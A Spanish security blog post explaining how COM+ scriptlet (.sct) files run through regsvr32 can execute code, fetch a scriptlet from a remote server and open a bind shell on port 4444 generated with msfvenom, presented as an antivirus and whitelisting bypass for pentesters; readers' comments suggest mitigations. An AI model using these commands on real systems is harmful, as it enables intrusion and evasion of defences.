martes, septiembre 13, 2016

Ejecución de código en Windows con Scriptlets COM+

Hace unas semanas, nuestro compañero de ElevenPaths en Buenos Aires, Cristian Borghello me compartió un artículo que hablaba de un bypass de AV y otros mecanismos de protección a través de ficheros SCT. Quizá algunos de vosotros piensen como pensé yo en ese momento; "¿Ficheros SCT?" Yo, confieso que, tuve buscarlo, pero me resultó más que interesante el proceso y acabé haciendo una pequeña prueba de concepto que os dejo en este artículo. Para empezar hay que explicar que existen tres formas de empaquetar un objeto COM+: mediante código nativo  (.dll y .exe), mediante clases de Java (.class) y con Scriptlets (.sct). Estos últimos serán el protagonista de esta entrada.

Figura 1: Ejecución de código en Widnows con Scriptlets COM+

Los Scriptlets permiten una técnica potente de empaquetamiento porque proporcionan la forma de crear objetos COM+ implementados a través de ficheros XML. Los Scriptlets son ejecutados por el componente de ejecución (scrobj.dll). Para mayor detalle sobre los Scriptlets os recomiedo la lectura de InsideCOM+.

Como mencionaba nuestro compañero Cristian en la Comunidad de ElevenPaths, cuando un pentester está planificando un ethical hacking, se suele pensar en la etapa de análisis, explotación y post-explotación. Esta última etapa es, para muchos, quizás a la que menos tiempo se dedica en la preparación. ¿Por qué? Se suele pensar que una vez se compromete una máquina o una red, saltar las medidas de seguridad internas es sencillo, pero esto puede complicarse hasta puntos insospechados previamente. En otras palabras, no siempre la post-explotación es sencilla y dependerá de la madurez de algunos controles internos desplegados en virtud de las políticas en la organización.

Figura 2: Artículo sobre Scriptlets en InsideCOM+

El uso de herramientas no siempre nos va a proporcionar el éxito que necesitamos en una fase de post-explotación. Por esta razón, las nuevas técnicas que van apareciendo son importantes para los test de intrusión de hoy en día, como el caso que vimos hace poco del nuevo bypass de UAC en Windows 7/10, para el que desarrollamos un módulo de Metasploit.

La idea de poder ejecutar acciones en un sistema a través de Scriptlet COM es algo interesante a la hora de pasar desapercibido ante las medidas de protección de los sistemas. Los archivos SCT son altamente desconocidos. Al hacer doble clic sobre ellos, se ejecuta el notepad.exe, porque no existe una asociación directa a la ejecución del mismo en el sistema, lo que los hace parecer bastante inofensivos. Si queremos realmente ejecutarlos debemos hacerlo a través de la aplicación regsvr32. Algo del estilo: regsvr32 /s /u /i: [ruta] scrobj.dll

Lo más interesante es que al ser algo que no se suele ver o conocer por el gran público, permite saltar la seguridad del antivirus o una lista blanca que se encuentre configurada como medida de protección. Como me decía Cristian, la ofuscación es algo sencillo al ser un lenguaje interpretado.

PoC: One shot!
Hemos llevado a cabo una prueba de concepto y es algo bastante sencillo de llevar a cabo. Desde el Github de SubTee disponemos de una prueba de concepto para ver el efecto y el potencial de la técnica.

Figura 3: GitHub de SutTee

Al llevar al equipo víctima el fichero SCT y hacemos doble clic veremos que se nos abre un notepad.exe que nos muestra el contenido del fichero. Para llevar a cabo su ejecución lanzamos la siguiente instrucción: regsvr32 /s /u /i:[ruta fichero SCT] scrobj.dll.

Figura 4: Ejecución de Scriptlet SCT

La ruta del fichero SCT podría ser remota. En el ejemplo anterior, vemos como ejecutamos un fichero que se encuentra localmente en el equipo, pero en otro escenario podríamos traer el fichero SCT de un servidor web que tengamos en cualquier otro lado. El fichero “calc.sct” contiene el código para abrir una calculadora en el sistema. Realmente si analizamos el código, vemos que tenemos la opción de ejecutar una shellcode, por lo que dicha shellcode se podría generar de manera sencilla con msfvenom, herramienta del framework Metasploit.

Figura 5: Código payload para ejecución de código en el sistema mediante Scriptlet

Como se puede ver hay una sección dentro del XML del fichero SCT que permite la inclusión de código, en este caso JScript. Como se puede ver en la línea comentada con la ejecución de msfvenom, podemos generar otros payload y modificar el fichero para ejecutar otras cosas.

Figura 6: Ejecución de shell en puerto 4444

Utilizando la instrucción msfvenom -p windows/shell_bind_tcp -a x86 –platform win -e [encoder] -f csharp LHOST=[IP] LPORT=[PORT], podemos almacenarlo y modificarlo en nuestro fichero SCT con el objetivo de poder llevar a cabo el bypass. Ahora, probaremos a ubicar el fichero SCT en un servidor remoto y llevaremos a cabo la ejecución de regsvr32 /s /u /i:http://ruta/ficheroSCT scrobj.dll. Esto provocará su ejecución y la shellcode se quedará a la escucha en el puerto configurado, para este ejemplo el 4444.

Figura 7: Conexión a la sesión de abierta con Metasploit

Como se puede ver en la imagen, tenemos a nuestra shellcode a la escucha en el puerto 4444. Ahora, podemos utilizar un nc o el módulo multi/handler de Metasploit para recuperar la sesión y poder interactuar con el sistema de manera remota. En este vídeo se describe todo el proceso.


Figura 8: Vídeo de ejecución de shell mediante Scriptlet

Interesante técnica, que puede ser utilizada en un momento dado durante la realización de un pentesting o ethical hacking. Esta es una forma de evadir listas blancas de aplicaciones a utilizar y de que un sistema AV pueda detectarnos, al menos por ahora. Si conoces mitigaciones sobre esto coméntanosla, así como si conoces otro tipo de bypass.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

3 comentarios:

Unknown dijo...

Buenas,al hacer uso de wscrip, podemos intentar paliarlo de esta forma:
Cómo evitar infectarse con archivos JS adjuntos y ransomware
http://blog.segu-info.com.ar/2016/03/como-evitar-infectarse-con-archivos-js.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+NoticiasSeguridadInformatica+%28Noticias+de+Seguridad+de+la+Informaci%C3%B3n%29

Mind The Gap – Exploit Free Whitelisting Evasion Tactics
https://www.insinuator.net/2016/03/mind-the-gap-exploit-free-whitelisting-evasion-tactics/

Dado que podemos considerar los .SCT como "no normales", en la mayor parte de AV podemos definir y crear una regla que directamente denieguen el acesso a los *.SCT.
En los servidores de ficheros de red, podemos habilitar igualmente un FileScreen de ficheros por dicha extensión para intentar paliar sus efectos.

A nivel de firewall/proxy/IPS, siempre podremos crear reglas para evitar la descarga o acceso a contenido con dicha extensión.

Si además podemos tener en los endpoint sistemas HIDS que detecten cambios en la ramas de current user, creación de ficheros en rutas para autoarranque, etc, este tipo de acciones se pueden mitigar mucho o al meos tener capacidad para detectarlas.

Como siempre, muchas gracias por compartir el conocimiento!

Unknown dijo...

Pablo González Pérez, y Sr. Soporte técnico, un gusto poder informarme con sus aportes, yo estoy dando mis primeros pasos en este mundo y sus aportes son de mucha ayuda y utilidad!!!

Unknown dijo...

Pues yo estoy haciendo pruebas y no me funciona. ¿Hay que configurar la máquina de alguna manera? Entiendo que se puede ejecutar desde un fichero en local... ¿o tiene que ser desde una URL? Saludos.

Entrada destacada

Programa de Especialización "Inteligencia Artificial para Expertos en Ciberseguridad" 2ª Edición.

Hoy, en medio del verano, os traigo información de la 2ª Edición del   Programa de Especialización  de "Inteligencia Artificial para Ex...

Entradas populares